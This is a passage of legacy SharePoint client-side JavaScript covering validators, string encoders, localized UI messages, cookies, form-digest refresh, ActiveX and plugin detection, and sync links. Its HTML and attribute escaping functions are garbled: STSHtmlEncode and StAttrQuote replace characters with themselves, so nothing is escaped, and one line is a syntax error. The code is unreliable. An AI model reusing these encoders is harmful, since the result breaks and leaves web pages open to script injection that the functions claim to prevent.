if (bSilent==true || (objVal.getAttribute("AlwaysEnableSilent")==true))
{
objVal.enabled=(bEnable==true);
}
else
{
ValidatorEnable(objVal, bEnable);
}
}
if( typeof(Sys) !="undefined" && Sys && Sys.Application ){
Sys.Application.notifyScriptLoaded();
}
if(typeof(NotifyScriptLoadedAndExecuteWaitingJobs)=="function"){
NotifyScriptLoadedAndExecuteWaitingJobs("commonvalidation.js");
}
function encodeScriptQuote(str)
{ULSxSy:;
var strIn=new String(str);
var strOut=new Array();
var ix=0;
var max=strIn.length;
for (ix=0; ix < max; ix++)
{
var ch=strIn.charAt(ix);
strOut.push(ch=='\'' ? "%27" : ch);
}
return strOut.join('');
}
function STSHtmlEncode(str)
{ULSxSy:;
if(null==str || typeof(str)=='undefined')
return "";
var strIn=new String(str);
var strOut=new Array();
var ix=0;
var max=strIn.length;
for (ix=0; ix < max; ix++)
{
var ch=strIn.charAt(ix);
switch (ch)
{
case '<':
strOut.push("<");
break;
case '>':
strOut.push(">");
break;
case '&':
strOut.push("&");
break;
case '\"':
strOut.push(""");
break;
case '\'':
strOut.push("'");
break;
default:
strOut.push(ch);
break;
}
}
return strOut.join('');
}
function StAttrQuote(st)
{ULSxSy:;
st=st.toString();
st=st.replace(/&/g, '&');
st=st.replace(/\"/g, '"'); // "
st=st.replace(/\r/g, ' ');
return '"'+st+'"';
}
function STSScriptEncode(str)
{ULSxSy:;
if(null==str || typeof(str)=='undefined')
return "";
var strIn=new String(str);
var strOut=new Array();
var ix=0;
var max=strIn.length;
for (ix=0; ix < max; ix++)
{
var charCode=strIn.charCodeAt(ix);
if (charCode > 0x0fff)
{
strOut.push("\\u"+charCode.toString(16).toUpperCase());
}
else if (charCode > 0x00ff)
{
strOut.push("\\u0"+charCode.toString(16).toUpperCase());
}
else if (charCode > 0x007f)
{
strOut.push("\\u00"+charCode.toString(16).toUpperCase());
}
else
{
var c=strIn.charAt(ix);
switch (c)
{
case '\n':
strOut.push("\\n");
break;
case '\r':
strOut.push("\\r");
break;
case '\"':
strOut.push("\\u0022");
break;
case '%':
strOut.push("\\u0025");
break;
case '&':
strOut.push("\\u0026");
break;
case '\'':
strOut.push("\\u0027");
break;
case '(':
strOut.push("\\u0028");
break;
case ')':
strOut.push("\\u0029");
break;
case '+':
strOut.push("\\u002b");
break;
case '/':
strOut.push("\\u002f");
break;
case '<':
strOut.push("\\u003c");
break;
case '>':
strOut.push("\\u003e");
break;
case '\\':
strOut.push("\\\\");
break;
default:
strOut.push(c);
};
}
}
return strOut.join('');
}
function STSScriptEncodeWithQuote(str)
{ULSxSy:;
return '"'+STSScriptEncode(str)+'"';
}
var L_Language_Text="1033";
var L_ClickOnce1_text="You are already attempting to save this item. If you attempt to save this item again, you may create duplicate information. Would you like to save this item again?";
var L_STSRecycleConfirm_Text="Are you sure you want to send the item(s) to the site Recycle Bin?";
var L_STSRecycleConfirm1_Text="Are you sure you want to send this folder and all its contents to the site Recycle Bin?";
var L_STSRecycleConfirm2_Text="Are you sure you want to send this Document Collection and all its contents to the site Recycle Bin?";
var L_STSDelConfirm_Text="Are you sure you want to permanently delete the item(s)?";
var L_STSDelConfirm1_Text="Are you sure you want to permanently delete this folder and all its contents?";
var L_STSDelConfirm2_Text="Are you sure you want to permanently delete this Document Collection and all its contents?";
var L_NewDocLibTb1_Text="The document could not be created. \nThe required application may not be installed properly, or the template for this document library cannot be opened.\n\nPlease try the following:\n1. Check the General Settings for this document library for the name of the template, and install the application necessary for opening the template. If the application was set to install on first use, run the application and then try creating a new document again.\n\n2. If you have permission to modify this document library, go to General Settings for the library and configure a new template.";
var L_NewDocLibTb2_Text="'New Document' requires a Microsoft SharePoint Foundation-compatible application and web browser. To add a document to this document library, click the 'Upload Document' button.";
var L_CheckoutConfirm="You are about to check out the selected file(s).";
var L_DiscardCheckoutConfirm="You are about to discard any changes made to the selected checked out file(s).";
var L_NewFormLibTb1_Text="The document could not be created.\nThe required application may not be installed properly, or the template for this document library cannot be opened.\n\nPlease try the following:\n1. Check the General Settings for this document library for the name of the template, and install the application necessary for opening the template. If the application was set to install on first use, run the application and then try creating a new document again.\n\n2. If you have permission to modify this document library, go to General Settings for the library and configure a new template.";
var L_NewFormLibTb2_Text="This feature requires Microsoft Internet Explorer 7.0 or later and a Microsoft SharePoint Foundation-compatible XML editor such as Microsoft InfoPath.";
var L_ConfirmCheckout_Text="You must check out this item before making changes. Do you want to check out this item now?";
var L_MustCheckout_Text="You must check out this item before making changes.";
var L_CheckOutRetry_Text="Check out failed, do you want to retry to check out from server?";
var L_CannotEditPropertyForLocalCopy_Text="You cannot edit the properties of a document while it is checked out and being modified offline.";
var L_CannotEditPropertyCheckout_Text="You cannot edit the properties of this document while it is checked out or locked for editing by another user.";
var L_NewFormClickOnce1_Text="New Folder";
var L_EnterValidCopyDest_Text="Please enter a valid folder URL and a file name. Folder URLs must begin with 'http:' or 'https:'.";
var L_ConfirmUnlinkCopy_Text="Because this item is a copy, it may still be receiving updates from its source. You should make sure that this item is removed from the source's list of items to update, otherwise this item may continue to receive updates. Are you sure that you want to unlink this item?";
var L_CopyingOfflineVersionWarning_Text="You currently have this document checked out locally. Only versions stored on the server can be copied. To copy the most recent minor version, click OK. To copy the currently checked out version, click Cancel, check in the document and then retry the copy operation.";
var L_Loading_Text="Loading...";
var L_Loading_Error_Text="An error has occurred with the data fetch. Please refresh the page and retry.";
var L_Inplview_PageNotYetSaved="page not yet saved";
var L_WarnkOnce_text="This item contains a custom recurrence pattern. If you save your changes you will not be able to revert to the previous pattern.";
var L_WebFoldersRequired_Text="Please wait while Explorer View is loaded. If Explorer View does not appear, your browser may not support it.";
var L_WebFoldersError_Text="Your client does not support opening this list with Windows Explorer.";
var L_NoExplorerView_Text="To view your documents, please navigate to the library and select the 'Open with Explorer' action. If the 'Open with Explorer' action is not available, then your system may not support it.";
var L_WikiWebPartNoClosedOrUploaded="Closed Web Parts and Uploaded Web Parts are not supported.";
var L_AccessibleMenu_Text="Menu";
var L_SubMenu_Text="Submenu";
var L_NewBlogPost_Text="This feature requires Microsoft Internet Explorer 7.0 or later and a Microsoft SharePoint Foundation-compatible blog editor such as Microsoft Word 2007 or later.";
var L_NewBlogPostFailed_Text="Unable to connect to the blog program because it may be busy or missing. Check the program, and then try again.";
var recycleBinEnabled=0;
var cascadeDeleteWarningMessage="";
var bIsFileDialogView=false;
var g_ViewIdToViewCounterMap=new Array();
var g_ctxDict=new Array();
function NotifyBrowserOfAsyncUpdate(container)
{ULSxSy:;
var iframeName='__spAjaxIframe', iframe=document.getElementById(iframeName);
if(iframe==null)
{
iframe=document.createElement('IFRAME');
iframe.name=iframe.id=iframeName;
iframe.width=iframe.height=0;
iframe.src='about:blank';
iframe.style.display='none';
document.body.appendChild(iframe);
}
iframe.contentWindow.document.location.replace('images/blank.gif');
}
function UpdateAccessibilityUI()
{ULSxSy:;
var t1=document.getElementById("TurnOnAccessibility");
var t2=document.getElementById("TurnOffAccessibility");
if (IsAccessibilityFeatureEnabled())
{
if (t1 !=null)
t1.style.display="none";
if (t2 !=null)
t2.style.display="";
}
else
{
if (t1 !=null)
t1.style.display="";
if (t2 !=null)
t2.style.display="none";
}
}
function SetIsAccessibilityFeatureEnabled(f)
{ULSxSy:;
if (f)
document.cookie="WSS_AccessibilityFeature=true;path=/;";
else
document.cookie="WSS_AccessibilityFeature=false;path=/;";
var hiddenAnchor=document.getElementById("HiddenAnchor");
var event;
if (browseris.ie)
event={ "srcElement" : hiddenAnchor , "fakeEvent" : 1, "enableStatus" : f};
else
event={ "target" : hiddenAnchor , "fakeEvent" : 1, "enableStatus" : f};
if (hiddenAnchor==null || hiddenAnchor.onclick==null)
return;
hiddenAnchor.onclick(event);
}
function DeleteCookie(sName)
{ULSxSy:;
document.cookie=sName+"=; expires=Thu, 01-Jan-70 00:00:01 GMT";
}
function GetCookie(sName)
{ULSxSy:;
var aCookie=document.cookie.split("; ");
for (var i=0; i < aCookie.length; i++)
{
var aCrumb=aCookie[i].split("=");
if (sName==aCrumb[0]) {
if(aCrumb.length > 1)
return unescapeProperly(aCrumb[1]);
else
return null;
}
}
return null;
}
function IsAccessibilityFeatureEnabled()
{ULSxSy:;
return GetCookie("WSS_AccessibilityFeature")=="true";
}
function escapeForSync(str)
{ULSxSy:;
var strOut="";
var ix=0;
var bDoingUnicode=0;
var strSyncEscaped="\\&|[]";
for (ix=0; ix < str.length; ix++)
{
var charCode=str.charCodeAt(ix);
var curChar=str.charAt(ix);
if (bDoingUnicode && charCode <=0x7f) {
strOut+="]";
bDoingUnicode=0;
}
if (!bDoingUnicode && charCode > 0x7f) {
strOut+="[";
bDoingUnicode=1;
}
if(strSyncEscaped.indexOf(curChar) >=0)
strOut+="|";
if ( (charCode >=97 && charCode <=122) ||
(charCode >=65 && charCode <=90) ||
(charCode >=48 && charCode <=57) )
{
strOut+=curChar;
}
else if (charCode <=0x0f)
{
strOut+="%0"+charCode.toString(16).toUpperCase();
}
else if (charCode <=0x7f)
{
strOut+="%"+charCode.toString(16).toUpperCase();
}
else if (charCode <=0x00ff)
{
strOut+="00"+charCode.toString(16).toUpperCase();
}
else if (charCode <=0x0fff)
{
strOut+="0"+charCode.toString(16).toUpperCase();
}
else {
strOut+=charCode.toString(16).toUpperCase();
}
}
if (bDoingUnicode)
strOut+="]";
return strOut;
}
var g_rgdwchMinEncoded=new Array([
0x00000000,
0x00000080,
0x00000800,
0x00010000,
0x00200000,
0x04000000,
0x80000000
]);
function Vutf8ToUnicode(rgBytes)
{ULSxSy:;
var ix=0;
var strResult="";
var dwch, wch, uch;
var nTrailBytes, nTrailBytesOrig;
while (ix < rgBytes.length)
{
if (rgBytes[ix] <=0x007f)
{
strResult+=String.fromCharCode(rgBytes[ix++]);
}
else
{
uch=rgBytes[ix++];
nTrailBytes=((uch) & 0x20) ? (((uch) & 0x10) ? 3 : 2) : 1;
nTrailBytesOrig=nTrailBytes;
dwch=uch & (0xff >>> (2+nTrailBytes));
while (nTrailBytes && (ix < rgBytes.length))
{
--nTrailBytes;
uch=rgBytes[ix++];
if (uch==0)
{
return strResult;
}
if ((uch & 0xC0) !=0x80)
{
strResult+='?';
break;
}
dwch=(dwch << 6) | ((uch) & 0x003f);
}
if (nTrailBytes)
{
strResult+='?';
break;
}
if (dwch < g_rgdwchMinEncoded[nTrailBytesOrig])
{
strResult+='?';
break;
}
else if (dwch <=0xffff)
{
strResult+=String.fromCharCode(dwch);
}
else if (dwch <=0x10ffff)
{
dwch -=SURROGATE_OFFSET;
strResult+=String.fromCharCode(
HIGH_SURROGATE_BITS | dwch >>> 10);
strResult+=String.fromCharCode(
LOW_SURROGATE_BITS | ((dwch) & 0x003FF));
}
else
{
strResult+='?';
}
}
}
return strResult;
}
function unescapeProperlyInternal(str)
{ULSxSy:;
if (str==null)
return "null";
var ix=0, ixEntity=0;
var strResult="";
var rgUTF8Bytes=new Array;
var ixUTF8Bytes=0;
var hexString, hexCode;
while (ix < str.length)
{
if (str.charAt(ix)=='%')
{
if (str.charAt(++ix)=='u')
{
hexString="";
for (ixEntity=0; ixEntity < 4 && ix < str.length;++ixEntity)
{
hexString+=str.charAt(++ix);
}
while (hexString.length < 4)
{
hexString+='0';
}
hexCode=parseInt(hexString, 16);
if (isNaN(hexCode))
{
strResult+='?';
}
else
{
strResult+=String.fromCharCode(hexCode);
}
}
else
{
hexString="";
for (ixEntity=0; ixEntity < 2 && ix < str.length;++ixEntity)
{
hexString+=str.charAt(ix++);
}
while (hexString.length < 2)
{
hexString+='0';
}
hexCode=parseInt(hexString, 16);
if (isNaN(hexCode))
{
if (ixUTF8Bytes)
{
strResult+=Vutf8ToUnicode(rgUTF8Bytes);
ixUTF8Bytes=0;
rgUTF8Bytes.length=ixUTF8Bytes;
}
strResult+='?';
}
else
{
rgUTF8Bytes[ixUTF8Bytes++]=hexCode;
}
}
}
else
{
if (ixUTF8Bytes)
{
strResult+=Vutf8ToUnicode(rgUTF8Bytes);
ixUTF8Bytes=0;
rgUTF8Bytes.length=ixUTF8Bytes;
}
strResult+=str.charAt(ix++);
}
}
if (ixUTF8Bytes)
{
strResult+=Vutf8ToUnicode(rgUTF8Bytes);
ixUTF8Bytes=0;
rgUTF8Bytes.length=ixUTF8Bytes;
}
return strResult;
}
function unescapeProperly(str)
{ULSxSy:;
var strResult=null;
if ((browseris.ie55up || browseris.nav6up) &&
(typeof(decodeURIComponent) !="undefined"))
{
strResult=decodeURIComponent(str);
{
var strOurResult=unescapeProperlyInternal(str);
if (strResult !=strOurResult)
{
alert("unescapeProperly error\n"+ "original string="+str+"\n"+ "decodeURIComponent string="+strResult+"\n"+ "unescapeProperlyInternal string="+ strOurResult);
}
}
}
else
{
strResult=unescapeProperlyInternal(str);
}
return strResult;
}
function navigateMailToLink(strBody)
{ULSxSy:;
window.location='mailto:?body='+escapeProperly(strBody);
}
function navigateMailToLinkWithMessage(strTo, strBody)
{ULSxSy:;
window.location='mailto:'+escapeProperly(strTo)
+'?body='+escapeProperly(escapeProperlyCoreCore(strBody, false, false, true));
}
function newBlogPostOnClient(strProviderId, strBlogUrl, strBlogName)
{ULSxSy:;
var stsOpen;
var fRet;
stsOpen=StsOpenEnsureEx("SharePoint.OpenDocuments.3");
if (stsOpen==null)
{
alert(L_NewBlogPost_Text);
return;
}
try
{
fRet=stsOpen.NewBlogPost(strProviderId, strBlogUrl, strBlogName);
}
catch (e)
{
alert(L_NewBlogPostFailed_Text);
}
}
function ShowUpdateFormDigestMessage(errorMessage)
{ULSxSy:;
if ((g_formDigestMessageIndex < 0) || (g_formDigestMessageIndex > g_formDigestMessageCount - 1))
{
g_formDigestMessageIndex=0;
}
g_formDigestMessages[g_formDigestMessageIndex]=errorMessage;
++g_formDigestMessageIndex;
if ((window.location.href !=null) && (window.location.href.indexOf("___ShowFormDigestMessages___") > 0))
{
var displayMessage="";
var displayIndex=g_formDigestMessageIndex;
for (var i=0; i < g_formDigestMessageCount; i++)
{
var message=g_formDigestMessages[displayIndex];
if ((message !=null) && (message.length > 0))
{
displayMessage+=g_formDigestMessages[displayIndex]+"\r\n----------\r\n";
}
++displayIndex;
if (displayIndex > g_formDigestMessageCount - 1)
{
displayIndex=0;
}
}
alert("Most recent UpdateFormDigest messages: \r\n"+displayMessage);
}
}
var g_formDigestMessageCount=5;
var g_formDigestMessages=new Array(g_formDigestMessageCount);
var g_formDigestMessageIndex=0;
function GetUrlFromWebUrlAndWebRelativeUrl(webUrl, webRelativeUrl)
{ULSxSy:;
var retUrl=(webUrl==null || webUrl.length <=0) ? "/" : webUrl;
if (retUrl.charAt(retUrl.length - 1) !="/")
{
retUrl+="/";
}
retUrl+=webRelativeUrl;
return retUrl;
}
var g_updateFormDigestPageLoaded=new Date();
function UpdateFormDigest(serverRelativeWebUrl, updateInterval)
{ULSxSy:;
try
{
if ((g_updateFormDigestPageLoaded==null) || (typeof(g_updateFormDigestPageLoaded) !="object"))
{
ShowUpdateFormDigestMessage("Invalid g_updateFormDigestPageLoaded value: "+g_updateFormDigestPageLoaded);
return;
}
var now=new Date();
if (now.getTime() - g_updateFormDigestPageLoaded.getTime() < updateInterval)
{
return;
}
if ((serverRelativeWebUrl==null) || (serverRelativeWebUrl.length <=0))
{
ShowUpdateFormDigestMessage("serverRelativeWebUrl was null or empty.");
return;
}
var formDigestElement=document.getElementsByName("__REQUESTDIGEST")[0];
if ((formDigestElement==null) || (formDigestElement.tagName.toLowerCase() !="input") || (formDigestElement.type.toLowerCase() !="hidden") ||
(formDigestElement.value==null) || (formDigestElement.value.length <=0))
{
ShowUpdateFormDigestMessage("The formDigestElement was either not found, was the wrong type of element, or was empty.");
return;
}
var request=null;
try
{
request=new ActiveXObject("Msxml2.XMLHTTP");
}
catch (ex)
{
request=null;
ShowUpdateFormDigestMessage("Unable to instantiate Msxml2.XMLHTTP object.");
}
if (request==null)
{
try
{
request=new XMLHttpRequest();
}
catch (ex)
{
request=null;
ShowUpdateFormDigestMessage("Unable to instantiate XMLHttpRequest object.");
}
}
if (request==null)
{
ShowUpdateFormDigestMessage("request object is null.");
return;
}
request.open("POST", GetUrlFromWebUrlAndWebRelativeUrl(serverRelativeWebUrl, "_vti_bin/sites.asmx"), false);
request.setRequestHeader("Content-Type", "text/xml");
request.setRequestHeader("SOAPAction", "http://schemas.microsoft.com/sharepoint/soap/GetUpdatedFormDigest");
request.send("<?xml version=\"1.0\" encoding=\"utf-8\"?>"+ "<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">"+ " <soap:Body>"+ " <GetUpdatedFormDigest xmlns=\"http://schemas.microsoft.com/sharepoint/soap/\" />"+ " </soap:Body>"+ "</soap:Envelope>");
var responseText=request.responseText;
if ((responseText==null) || (responseText.length <=0))
{
ShowUpdateFormDigestMessage("XMLHttp response was null or empty.");
return;
}
var startTag='<GetUpdatedFormDigestResult>';
var endTag='</GetUpdatedFormDigestResult>';
var startTagIndex=responseText.indexOf(startTag);
var endTagIndex=responseText.indexOf(endTag, startTagIndex+startTag.length);
var newFormDigest=null;
if ((startTagIndex >=0) && (endTagIndex > startTagIndex))
{
var newFormDigest=responseText.substring(startTagIndex+startTag.length, endTagIndex);
}
if ((newFormDigest==null) || (newFormDigest.length <=0))
{
ShowUpdateFormDigestMessage("newFormDigest was null or empty. The responseText was: "+responseText);
return;
}
var oldValue=formDigestElement.value;
formDigestElement.value=newFormDigest;
g_updateFormDigestPageLoaded=new Date();
ShowUpdateFormDigestMessage("Successfully updated the form digest\r\nOld value: "+oldValue+"\r\nNew value: "+formDigestElement.value);
}
catch (ex)
{
ShowUpdateFormDigestMessage("An unknown exception was thrown: "+ex);
}
}
function IsSupportedFirefoxOnWin()
{ULSxSy:;
return (browseris.winnt || browseris.win32 || browseris.win64bit) && browseris.firefox3up;
}
function IsFirefoxOnWindowsPluginInstalled()
{ULSxSy:;
return navigator.mimeTypes &&
navigator.mimeTypes["application/x-sharepoint"] &&
navigator.mimeTypes["application/x-sharepoint"].enabledPlugin;
}
function CreateFirefoxOnWindowsPlugin()
{ULSxSy:;
var plugin=null;
if (IsSupportedFirefoxOnWin())
{
try{
plugin=document.getElementById("winFirefoxPlugin");
if (!plugin && IsFirefoxOnWindowsPluginInstalled())
{
var pluginNode=document.createElement("object");
pluginNode.id="winFirefoxPlugin";
pluginNode.type="application/x-sharepoint";
pluginNode.width=0;
pluginNode.height=0;
pluginNode.style.setProperty("visibility", "hidden", "");
document.body.appendChild(pluginNode);
plugin=document.getElementById("winFirefoxPlugin");
}
}
catch(e)
{
plugin=null;
}
}
return plugin;
}
function IsSupportedMacBrowser()
{ULSxSy:;
return browseris.mac && (browseris.firefox3up || browseris.safari3up);
}
function IsBrowserPluginInstalled(mimeType)
{ULSxSy:;
return navigator.mimeTypes &&
navigator.mimeTypes[mimeType] &&
navigator.mimeTypes[mimeType].enabledPlugin;
}
function IsMacPluginInstalled()
{ULSxSy:;
var webkitPluginInstalled=IsBrowserPluginInstalled("application/x-sharepoint-webkit");
var npapiPluginInstalled=IsBrowserPluginInstalled("application/x-sharepoint");
if (browseris.safari3up && webkitPluginInstalled)
return true;
return npapiPluginInstalled;
}
function CreateMacPlugin()
{ULSxSy:;
var plugin=null;
if (IsSupportedMacBrowser())
{
plugin=document.getElementById("macSharePointPlugin");
if (plugin==null && IsMacPluginInstalled())
{
var pluginMimeType=null;
if (browseris.safari3up && IsBrowserPluginInstalled("application/x-sharepoint-webkit"))
pluginMimeType="application/x-sharepoint-webkit";
else
pluginMimeType="application/x-sharepoint";
var pluginNode=document.createElement("object");
pluginNode.id="macSharePointPlugin";
pluginNode.type=pluginMimeType;
pluginNode.width=0;
pluginNode.height=0;
pluginNode.style.setProperty("visibility", "hidden", "");
document.body.appendChild(pluginNode);
plugin=document.getElementById("macSharePointPlugin");
}
}
return plugin;
}
var g_objStssync;
function GetStssyncHandler(szVersion)
{ULSxSy:;
if (!IsSupportedMacBrowser())
{
try
{
g_objStssync=new ActiveXObject("SharePoint.StssyncHandler"+szVersion);
}
catch (e)
{
g_objStssync=null;
}
}
else
{
g_objStssync=CreateMacPlugin();
}
}
function GetStssyncData(strType, strTextDefault, strImgPathDefault, strPrefix)
{ULSxSy:;
var stsSyncData=null;
if((document.cookie.indexOf("stsSyncAppName")==-1) && (document.cookie.indexOf("stsSyncIconPath")==-1))
{
if (IsSupportedMacBrowser())
{
var plugin=GetStssyncHandler("");
if (plugin==null || !plugin.StssyncEnabled)
{
document.cookie="stsSyncAppName=0;";
document.cookie="stsSyncIconPath=0;";
return stsSyncData;
}
}
if ((browseris.ie5up && browseris.win32) || IsSupportedMacBrowser())
{
var strAppName;
var strIconName;
if (strType !="")
GetStssyncHandler(".3");
if (!g_objStssync)
{
if (strType !="" && strType !="calendar" && strType !="contacts")
{
document.cookie="stsSyncAppName=0;";
document.cookie="stsSyncIconPath=0;";
return stsSyncData;
}
GetStssyncHandler(".2");
if (!g_objStssync || !(strAppName=g_objStssync.GetStssyncAppName()))
{
document.cookie="stsSyncAppName=0;";
document.cookie="stsSyncIconPath=0;";
return stsSyncData;
}
}
else
{
if (!(strAppName=g_objStssync.GetStssyncAppNameForType(strType)))
{
document.cookie="stsSyncAppName=0;";
document.cookie="stsSyncIconPath=0;";
return stsSyncData;
}
}
document.cookie="stsSyncAppName="+escapeProperly(strAppName)+";";
try
{
strIconName=g_objStssync.GetStssyncIconName();
strIconName=strPrefix+strIconName;
document.cookie="stsSyncIconPath="+escapeProperly(strIconName)+";";
}
catch (e)
{
document.cookie="stsSyncIconPath=0;";
strIconName=strImgPathDefault;
}
}
else
{
strAppName=strTextDefault;
strIconName=strImgPathDefault;
document.cookie="stsSyncAppName="+escapeProperly(strTextDefault);
document.cookie="stsSyncIconPath="+escapeProperly(strImgPathDefault);
}
}
else
{
strAppName=GetCookie("stsSyncAppName");
strIconName=GetCookie("stsSyncIconPath");
if(strAppName=='0')
{
return stsSyncData;
}
}
var L_LinkToBefore_Text="Connect to ";
var L_LinkToAfter_Text="";
strAppName=L_LinkToBefore_Text+strAppName+L_LinkToAfter_Text;
stsSyncData=new Object();
stsSyncData.BtnText=strAppName;
stsSyncData.BtnImagePath=strIconName;
return stsSyncData;
}
function GetStssyncAppName(strDefault)
{ULSxSy:;
var stsSyncData=GetStssyncData("",strDefault, "", "");
return stsSyncData.BtnText;
}
function makeAbsUrl(strUrl)
{ULSxSy:;
if (strUrl.length > 0 && "/"==strUrl.substr(0, 1))
{
strUrl=window.location.protocol+"//"+window.location.host+strUrl;
}
return strUrl;
}
function ExportHailStorm(type,weburl,guid,webname,listname,viewurl,passport,listrooturl,folderurl,folderid)
{ULSxSy:;
var strAppName=GetCookie("stsSyncAppName");
var strIconName=GetCookie("stsSyncIconPath");
if(strAppName!=null && strAppName !='0')
{
var maxLinkLength=500;
var maxNameLength=20;
var link="stssync://sts/?ver=1.1"
+"&type="+escapeProperly(type)
+"&cmd=add-folder"
+"&base-url="+escapeForSync(weburl)
+"&list-url="+escapeForSync("/"+makeAbsUrl(viewurl).substr(weburl.length+1)+"/")
+"&guid="+escapeProperly(guid);
if (window.self.offlineBtnUser !=undefined)
link+="&user-id="+offlineBtnUser;
var names="&site-name="+escapeForSync(webname)
+"&list-name="+escapeForSync(listname);
var context="";
if (folderurl)
context+="&folder-url="+escapeForSync("/"+folderurl.substr(listrooturl.length+1));
if (folderid)
context+="&folder-id="+folderid;
if (link.length+names.length+context.length > maxLinkLength &&
(webname.length > maxNameLength || listname.length > maxNameLength))
{
if (webname.length > maxNameLength)
webname=webname.substring(0, maxNameLength-1)+"...";
if (listname.length > maxNameLength)
listname=listname.substring(0, maxNameLength-1)+"...";
names="&site-name="+escapeForSync(webname)
+"&list-name="+escapeForSync(listname);
}
link=link+names+context;
var L_StssyncTooLong_Text="The title of the site or list is too long. Shorten the title and try again.";
if (link.length > maxLinkLength)
alert(L_StssyncTooLong_Text);
else
{
try
{
window.location.href=link;
}
catch (e)
{
}
}
}
}
var g_objDiagramLaunch;
function GetDiagramLaunchInstalled()
{ULSxSy:;
var strAppName='';
if(document.cookie.indexOf("digInstalled")==-1)
{
try
{
g_objDiagramLaunch=new ActiveXObject("DiagramLaunch.DiagramLauncher");
strAppName=g_objDiagramLaunch.EnsureDiagramApplication();
document.cookie="digInstalled="+escapeProperly(strAppName)+";";
}
catch (e)
{
g_objDiagramLaunch=null;
document.cookie="digInstalled=0;";
}
}
else
{
strAppName=GetCookie("digInstalled");
if(strAppName=='0')
strAppName='';
}
return strAppName;
}
var g_objProjectTaskLaunch=null;
function GetProjectTaskLaunchInstalled()
{ULSxSy:;
if(document.cookie.indexOf("projInstalled")==-1)
{
var strAppName='';
try
{
g_objProjectTaskLaunch=new ActiveXObject("TaskLaunch.TaskLauncher");
strAppName=g_objProjectTaskLaunch.EnsureTaskApplication();
document.cookie="projInstalled="+escapeProperly(strAppName)+";";
}
catch (e)
{
document.cookie="projInstalled=0;";
g_objProjectTaskLaunch=null;
}
}
else
{
strAppName=GetCookie("projInstalled");
if(strAppName=='0')
strAppName='';
}
return strAppName;
}
var g_expDatabase;
function GetDataBaseInstalled()
{ULSxSy:;
var databaseBtnText='';
var databaseBtnDesc='';
if( (document.cookie.indexOf("databaseBtnText")==-1) || (document.cookie.indexOf("databaseBtnDesc")==-1) )
{
try
{
g_expDatabase=new ActiveXObject('SharePoint.ExportDatabase');
if (g_expDatabase && g_expDatabase.IsDBProgramInstalled())
{
document.cookie="databaseBtnText="+escapeProperly(g_expDatabase.MenuTitle)+";";
document.cookie="databaseBtnDesc="+escapeProperly(g_expDatabase.MenuDescription)+";";
}
else
{
document.cookie="databaseBtnText="+'0'+";";
document.cookie="databaseBtnDesc="+'0'+";";
g_expDatabase=null;
}
}
catch(e)
{
document.cookie="databaseBtnText="+'0'+";";
document.cookie="databaseBtnDesc="+'0'+";";
g_expDatabase=null;
}
}
else
{
databaseBtnText=GetCookie("databaseBtnText");
databaseBtnDesc=GetCookie("databaseBtnDesc");
if(databaseBtnText !='0' && databaseBtnText !='0')
{
var dummyExpDatabase=new Object();
dummyExpDatabase.MenuTitle=databaseBtnText;
dummyExpDatabase.MenuDescription=databaseBtnDesc;
return dummyExpDatabase;
}
else
{
g_expDatabase=null;
}
}
return g_expDatabase;
}
var g_ssImporterObj;
var g_fSSImporter=false;
function EnsureSSImportInner()
{ULSxSy:;
if (browseris.ie5up && browseris.win32)
{
try
{
g_ssImporterObj=new ActiveXObject("SharePoint.SpreadsheetLauncher.2");
if (g_ssImporterObj)
g_fSSImporter=true;
}
catch (e)
{
try
{
g_ssImporterObj=new ActiveXObject("SharePoint.SpreadsheetLauncher.1");
if (g_ssImporterObj)
g_fSSImporter=true;
}
catch (e)
{
g_fSSImporter=false;
}
}
}
else if (IsSupportedMacBrowser())
{
g_ssImporterObj=CreateMacPlugin();
if (g_ssImporterObj)
g_fSSImporter=true;
else
g_fSSImporter=false;
}
}
function EnsureSSImporter(byPassCookies)
{ULSxSy:;
byPassCookies=(typeof(byPassCookies)==undefined) ? false : byPassCookies;
if(document.cookie.indexOf("EnsureSSImporter")==-1 || byPassCookies)
{
EnsureSSImportInner();
document.cookie="EnsureSSImporter="+g_fSSImporter+";";
}
else
{
g_fSSImporter=GetCookie("EnsureSSImporter")=="true" ? true : false;
}
return g_fSSImporter;
}
function ShowHideSection(sectionid, imgid)
{ULSxSy:;
var group=document.getElementById(sectionid);
var img=document.getElementById(imgid);
if ((group==null))
return;
if (group.style.display !="none")
{
group.style.display="none";
img.src="/_layouts/images/plus.gif";
}
else
{
group.style.display="";
img.src="/_layouts/images/minus.gif";
}
}
function ShowSection(sectionid, imgid)
{ULSxSy:;
var group=document.getElementById(sectionid);
var img=document.getElementById(imgid);
if ((group==null))
return;
if (group.style.display=="none")
{
group.style.display="";
img.src="/_layouts/images/minus.gif";
}
}
function ShowHideInputFormSection(sectionid, bShow)
{ULSxSy:;
var e=document.getElementById(sectionid);
if (e !=null)
e.style.display=bShow ? "" : "none";
for (var i=1; i < 3; i++)
{
e=document.getElementById(sectionid+"_tablerow"+i);
if (e !=null)
e.style.display=bShow ? "" : "none";
}
}
function ShowHideInputFormControl(id, bHide, bDisableValidators, bSilent)
{ULSxSy:;
var displaySetting="";
if (bHide==true)
{
displaySetting="none";
}
var validators=eval(id+'_validators');
if (validators !=null)
{
for(var i=0; i < validators.length; i++)
{
STSValidatorEnable(validators[i], !bDisableValidators, bSilent);
}
}
for(var i=1; i<=5; i++)
{
var rowId=id+"_tablerow"+i;
var row=document.getElementById(rowId);
if ((row !=null) && !browseris.mac)
{
row.style.display=displaySetting;
}
}
}
function HideMenuControl(menuControlId)
{ULSxSy:;
if (typeof(menuControlId)=="undefined" || menuControlId==null)
return;
var menu=document.getElementById(menuControlId);
if (typeof(menu)=="undefined" || menu==null)
return;
var menuItems=menu.getElementsByTagName("ie:menuitem");
if (typeof(menuItems)=="undefined" || menuItems==null)
return;
for(var i=0;i<menuItems.length; i++)
{
var menuItem=menuItems[i];
var hiddenScript=menuItem.getAttribute("hidden");
if (typeof(hiddenScript)=="undefined" || hiddenScript==null
|| !eval(hiddenScript))
return;
}
menu.style.display='none';
}
function SetControlDisabledStatus(obj, disabledStatus)
{ULSxSy:;
try
{
if (obj.setAttribute)
obj.setAttribute('disabled', disabledStatus);
if (!disabledStatus && obj.removeAttribute)
obj.removeAttribute('disabled');
}
catch(e)
{
}
}
function SetControlDisabledStatusRecursively(obj, disabledStatus)
{ULSxSy:;
if (obj==null)
return;
SetControlDisabledStatus(obj, disabledStatus);
var objChildren=obj.childNodes;
